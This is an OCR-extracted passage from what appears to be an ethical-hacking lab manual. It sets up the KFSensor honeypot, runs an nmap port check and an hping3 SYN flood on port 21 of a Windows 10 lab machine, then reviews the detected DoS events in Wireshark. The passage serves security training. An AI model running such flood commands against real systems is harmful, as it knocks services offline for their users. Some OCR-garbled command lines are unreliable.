11. In the Set Up Wizard - Native Services wizard, check all the ports with
all active native services, and click Next.

[Set Up Wizard - Native Services X

Ports with active native services

[ATCP 80-11S
[ATCP 135-MS RPC

[~]TCP 445 - NBT SMB

] TCP 5357 - Web Services for Devices

[~ UDP 3702 - WS-Discovery

These ports are cumrently running native services.

KFSensor can monitor the activity of these existing services, choose this by
checking the port. This is the recomended option for sensors located within

an organization's network .

To allow KFSensor to monitor a port directly then uncheck

the port. This is the recomended option for a sensor exposed

directly to the intemet via a public |P address. S

| <ok [(Chets ) | Conce |

FIGURE 4.8: Native Services Wizard
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12. In the Set Up Wizard - Domain window, leave the Domain Name field
set to default, and click Next.

Eet Up Wizard - Domain X

Domain Name:
This is the domain name used to identify the server to a visitor.
This could be the real domain name of the machine or a fictious one.

If you pick a fictious one, try not to use a real domain belonging
somebody else,

Wizard Help

= =
FIGURE 4.9: Domain wizard

13. In the Set Up Wizard - EMail Alerts window, leave the options set to
default, and click Next.

[Set Up Wizard - EMail Alerts X

Send to: ] [
Send from: |

I you want KFSensor to send alets by emai then fill
in the emai address details

Wizard Help

| ik [ ) | cancel
FIGURE 4,10 EMail Alerts Wizard
14. In the Set Up Wizard - Options wizard:
a. Select Cautious from Denial Of Service Options drop-down list

b. Select Enable packet dump files from the Network Protocol
Analyzer drop-down list

15. Click Next.
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16. This sets the DoS$ options to Cautious mode and saves the packet dump
files at the time of the DoS attack.

[set Up Wizard - Options X

Denial Of Service Options

[Cautious v

Controls how many events are recorded before the server locks up
Port Acti

[3 Hours |

How long a port should indicate activity after after an event

Proxy Emulation

| Allow banner grabs and loop backs v|

Controls ff KFSensor is allowed to make limted extemal connections
Network Protocol Analyzer

[Enable packet dump files |

Dump files are useful for detailed analysis but take up a lot of disk space

| Wizard Hebp |

s s
FIGURE 4.11: Options Wizard

17. In the Set Up Wizard - Systems Service wizard, leave the option set to
default, and click Next.

Up Wizard - Systems Service X

M Install as systems service

A systems service is a special type of application that Windows runs in the
background and is similar in concept to a UNIX daemon.

The KFSensor Server becomes independent of the logged on user, so you can
log off and another person can log on without affecting the server.

The KFSensor Server can be configured to start automatically when the systems
starts, even before you log on.
You must be logged in a the Administrator to install 3 systems service.

Wizard Help |

oo [T ] [ coen |

FIGURE 4.12: Systems Service Wizard
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18. In the final step of the Set Up Wizard wizard, click Finish.

Set Up Wizard - Finish

The KFSensor Set Up Wizard has now got all the
information it needs to configure your system.
To read up on where to go from here click the button below

Getting Started |

Note on the Evaluation Version

We hope that you find the KFSensor evaluation trial period
sufficient to evaluate KFSensor. if you would like to have an
extended tnal period, or have questions related to the product
then get in touch with use at hitp://www keyfocus net/contact/.

| <Back [ Fnsh | cancel

FIGURE 4.13 End of Wizard

19. The KFSensor Professional window appears. Click FTP under TCP.

8 119 NNTP

’¢ KFSensor Professional - Evaluation Trial T a X
File View Scenario Signatures Settings Help p
S BR (@Rl EEER CRSarz @ MRN

E Al Start Duration Pro.. Sens.. Name Visitor
_H 11/3/2017 5:01:34 AM..., 0.000 UDP 138 NBT Datagram... RDDW-006
Dl 11/3/2017 5:00:19 AM.... 0.000 UDP 138 NBT Datagram... SERVER2016
B 11/3/2017 4:58:44 AM... 0000 UDP 138 NBT Datagram... DESKTOP-SVE

-8 135 MSRPC
{8 139 NBT Session ...
A 389 1nap o

<
Name Value (o)
Sensor kfsensor
Last status 11/3/2017 5:09
Status Active
Running since 11/3/2017 4:56
Last restart 11/3/2017 5:09
Runnina for 13minutes ¥
< >

FIGURE 4.14: KI'Sensor Professional Window
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20. If the FTP icon is green, and the FI'P section is empty, it means currently
thete is no traffic through port 21.

4§ KFSensor Professional - Evaluation Trial - o X
File View Scenario Signatures Settings Help
2 B Qi WEEEE (N RS2 @EIMR(D
= 4 kisensor - localhost - M.. » | p Start
=33 TCP
&§ O Closed TCP Ports
1 port one

Duration Pro.. Sens.. Name Visitor

B 25 smTP
- 53 DNS

£ 68 DHCP

B

8 110 POP3

8 119 NNTP

{8 135 MSRPC
B 139 NBT Session ..

v

£2 390 1NAP
< >

Name Value &
Sensor kfsensor

Last status 11/3/2017 5:10
Status Active

Running since 11/3/2017 4:56
Last restart 11/3/2017 5:09
Runnina for M minutes ¥
< >

FIGURE 4.15: Viewing FTP Section

21. Now, KFSensor is configured to detect the DoS attacks that would be
performed on the Windows 10 machines from this point forward.

22. So, perform a DoS attack on this machine through port 21 from an

Perform attacker machine, Kali Linux.

Dod; Miwck 23. Switch to the Kali Linux virtual machine and open a command prompt.

First task is to check whether port 21 is open on the target machine by
using Nmap.

24. The command used to check the status of this port is nmap -p 21 [IP
Address of Windows 10].

Note: The IP Address of Windows 10 machine in this lab is 10.10.10.10,
which might differ in your lab environment.
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25. Observe that port 21 is open, as shown in the screenshot:

root@Kkali: ~ e ® 0

File Edit View Search Terminal Help
:~# nmap -p 21 10.10.10.10

;tarting Nmap 7.60 ( https://nmap.org ) at 2017-11-03 08:13 EDT
p scan report for 10.10.10.10
fost is up (-0.17s latency)

PORT STATE SERVICE
1/tcp open ftp
1AC Addre 00:15:5D0:00:39:03 (Microsoft)

imap done: 1 IP address (1 host up) scanned in 0.58 seconds
4¢I

FIGURE 4.16: Testing FTP Port
26. Use this port to flood the victim machine.
27. Perform SYN flooding on the victim machine using hping3.

28. To begin flooding, type the command hping3 -d 100 -S -p 21 --flood [IP
Address of Windows 10] and press Enter.

Note: The IP address of Windows 10 machine is 10.10.10.10.
root@kali: ~ e e 0 |

File Edit View Search Terminal Help

:~# hping3 -d 100 -S -p 21 --flood 10.10.16.10
HPING 10.10.10.10 (ethe 10.10.10.10): S set, 40 headers + 100 data bytes
hping in flood mode, no replies will be shown

FIGURE 4.17: Flooding the Vieum Machine

29. Here, we are performing SYN flooding (-8) onto the victim machine
through port 21 (-p 21), where the data size of each packet going to the
machine is 100 bytes (-d 100).
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30. Once you enter the command, switch to the Windows 10 machine and
try to explore it. Observe that the machine’s screen is frozen, which
means that the resources of Windows 10 are completely exhausted. This
means that the DoS attack is being successfully performed.

FIGURE 4.18: Victim Machine Failed to Respond

31. Now, switch to the Kali Linux machine, and press Ctr+C to terminate
SYN flooding.

root@Kkali: ~ e @ 0
File Edit View Search Terminal Help
# hping3 -d 160 -5 -p 21 --flood 19.10.10.10
{PING 10.10.10.10 (eth® 10.10.10.10): S set, 40 headers + 100 data bytes
ping in flood mode, no replies will be shown

10.10.10.10 hping statistic --

15170 packets transmitted, 0 packets received, 100%
ound-trip min/avg/max = ©.0/0.0/0.0 ms
«ndf I

FIGURE 4.19: Scan Terminated
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32. Switch to the Windows 10 machine; you should now be able to access it.

33. Now the FTP icon in the left pane changes to red, and the FI'P section
in the tight pane is flooded with a list of events.

34, Scroll down the section; you can see an event with the name DOS Attack.

& KFSensor Professional - Evaluation Trial - o X

file View Scenario Signatures Settings Help ;
2 82|l N EEEE KB SaT2@ MR (D

& kfsensor - localhost - M... o | |p Start Duration Pro.. Sens.. Name Vistor A

';"“:' iz o SZB 11/3/2017 5:17:10 AM.... 0000 TCP 21 FIP 10.10.10.11

? ‘::::c Post | @7 /372017 517:10AM... 0000 TCP 21 FIP 10.10.10.11

= L | B 11/3/2017 5:17:10 AM.... 0.000 TCP 21 FIP 10.10.10.11

35 SvTP _ 8 11/3/2017 5:17:10 AM.... 0.000 TCP 21 FIP 10.10.10.11

i 53 DNs 8 11/3/2017 5:17:10 AM.... 0.000 TCP 21 FTIP 10.10.10.11

£ 68 DHCP 8 11/3/2017 5:17:10 AM.... 0000 TCP 21 FTP 10.10.10.11

80 1S 82 11/3/2017 51710 AM.... 0000 TCP 21 FIP 10.10.10.11

-3 110 POP3 8 11/3/2017 517:10 AM... 0000 TCP 21 FTP 10.10.10.11

. 119 NNTP 8 11/3/2017 S:17:10 AM.... 0000 TCP 21 FTP 10.10.10.11

g 135 MSRPC 819 11/3/2017 5:17:10 AM.... 0000 TCP 21 FIP 10.10.10.11

g 139 NBT Session ... _!lﬂ 11/3/2017 5:17:10 AM.... 0.000 TCP 21 FTP 10.10.10.11

A 380 IDAD v | 81 11/3/2017 5:17:10 AM.... 0.000 TCP 21 FTP 10.10.10.11

( % 8% 11/3/2017 5:17:10 AM, 0.000 TCP 21 FTP 10.10.,10.11

Name Value a 11/3/2017 5:17:10 AM, 10.10.10.11

Sensor kfsensor

Last status 11/3/2017 5:28 11/3/2017 3:17:10 AM.... FTP 10.10.10.11

Status Active . 12 11/3/2017 5:17:14 AM.. 0279 TCP 5357 Web Servicesf.. RIS

Running since  11/3/2017 5:25 Bn 11/3/2017 3:17:14 AM.... o111 TCP 5357 Web Servicesf... REN
Running for 3 minutes and B 11/3/2017 %:17:10 AM.... 0000 TCP 21 FTIP 10.10.10,11 '
 Machine Name ~ DESKTOP-SV&L ¥ @9 11/3/2017 5:09:36 AM.... 285345 TCP 50156 TCP Connection 162.125.34. ¥

< > < >

FIGURE 4.20: FI'P Section Flooded with DOS Attack Events
35. This concludes that a DOS KFSensor has detected the DoS attack.

36. Choose a random event, tight-click on it, and select Event Details... to
view details of the selected event.

&f KFSensor Professional - Evaluation Trial - =] X
bﬁle View Scenaric Signatures Settings Help :
2B Q@i REE RS 2@(MR(D
=4 kisensor - localhost - M. ~ | |p Start Duration Pro.. Sens.. Name Vistor A
5@ Tee P s et b 2505 | e
& 0 Closed TCPPorts | @7 /32017 S1710 AML.. ‘ fo1010.11
@1 porocs 8% 11/3/2017 517:10 AM. e 1010101
8 21 FIP - Recent.. S i e i Create Visitor Rule... 2
B 25 smTP /3/2017 5:17:10 AM.... 10.10.10.11
Fsons 8 11/32017 :1%10AM... 0000 TCP 21 FIP 10.10.10.11
o 4.56.DHCR 83 11/3/2017 51710 AM.... 0000 TCP 21 _FIP 10.10.10:11

FIGURE 4.21: Viewing the Event Details
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37. An Event window appears, displaying the event summary (on the
Summary tab), which contains the severity level of the event (High), the
description of the event (Syn Scan), the visitor of the event (attacker
machine’s IP address), the name of the sensor (FTP), and so on, as
shown in the screenshot:

|Event - 28 X
Y Details Sig e Data 8

Event
Sensor ID: I”““”’ l Event D: | 28
Start Time: [ 1732017 SAT:10AM.119 ] Severity: [High y
Description{{ Syn Scan )
Visitor
P: (10101011 | port-[138¢ )
Domain: [ ]
Sensor
Name: [FTP l
— ]
Signature
Message: [ l

Request Data - 100 Bytes

000 00000000000000060000000000800000080600600860000

!NmIPrevioustu Help

FIGURE 422: Viewing the Event Details

38. You may click the other tabs to analyze additional information related to
the event.

39. Now, analyze the packet dump file containing the traffic captured during
the DoS attack. KFSensor stores the packet dump file in
C:\kfsensordumps by default.

40. To view the packet dump, use a packet capturing application such as
Witeshark.
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41. Install and launch Wireshark, located at Z:\CEH-Tools\CEHv10 Module 10
Denial-of-Service\Wireshark. If the application is already installed,
launch it from the Apps screen.

42. Click File in the menu bar, and then click Open.

M The Wieshark Network Anebyzer - a X
IFie | E4it  View Go  Coptore  Anshze  Stefistics  Telephory  Wieless  Tools  Help

= L8 0

réisE=E498

Open Fecernt ’ £ -] poresson #J
Merge..

et o Hes Durmp..
Coze CereW
Save Qi Y
Save As Cers Shifte S iU fite | Alpserfoces dhown v

File Set »

Gipont Spectied Packes.

Eapart Packet Desections »
rport Peckes Dytes CarieH
Export PDLs to Fle..

Export S5 Session Keys

Giport Objects »

Print. <

Quit Cel-Q

FIGURE 4.23: Opening the Packet Dump File

43. The Wireshark: Open Capture File window appeats; navigate to
C:\kfsensordumps, sclect the packet dump file, and click Open.

M Wireshark: Open Capture File X
Look in: [ dumps Vl Q02 rrm-
* Name . Date modified Type
: pktdump_0_20180111 1/11/2018 10:54 AM  File
Quickaccess =\ cadme 11/13/20155:12AM _ Text Docu
Desktop
"
Libraries
This PC
< >
g Fie name: | pitdump_0_20180111 v| [ open |
Network
Flesoftype: | Al Fies v | concel |
LU
Read fiter: | Format: Wireshark Acpdump/... - pcap
 Automatically detect file type |  Sie: 12 KiB. 60 packets
Start / elapsed: 2018-01-11 10:52:17 / 00:"?i
FIGURE 4.24: Opening the Packet Dump File
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Module 10 - Denialof-Service

44. Wireshark loads the file and displays the packet’s details, as shown in the
screenshot:

1 Ve G Cpher ek s Mgty W T
B0 IDRBACcETIZMAaay

Frame 1 368 bytes aa wire (N2 WT5), 368 bytes captered (12 MTE)
schiec (WSBCINsCictie ), Set eare_TETIAD (MBI TIAT)

30.30.30.30, Bet: BE0S

FIGURE 4.25: Analyzing the Packet Dump File

45, You may analyze the packets to get information related to headers of the
packets, source IP Address, and so on.

Lab Analysis

Analyze and document the results related to this lab exercise. Give your opinion of
your target’s security posture and exposure.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Internet Connection Required

O Yes M No
Platform Supported
M Classroom O iLabs
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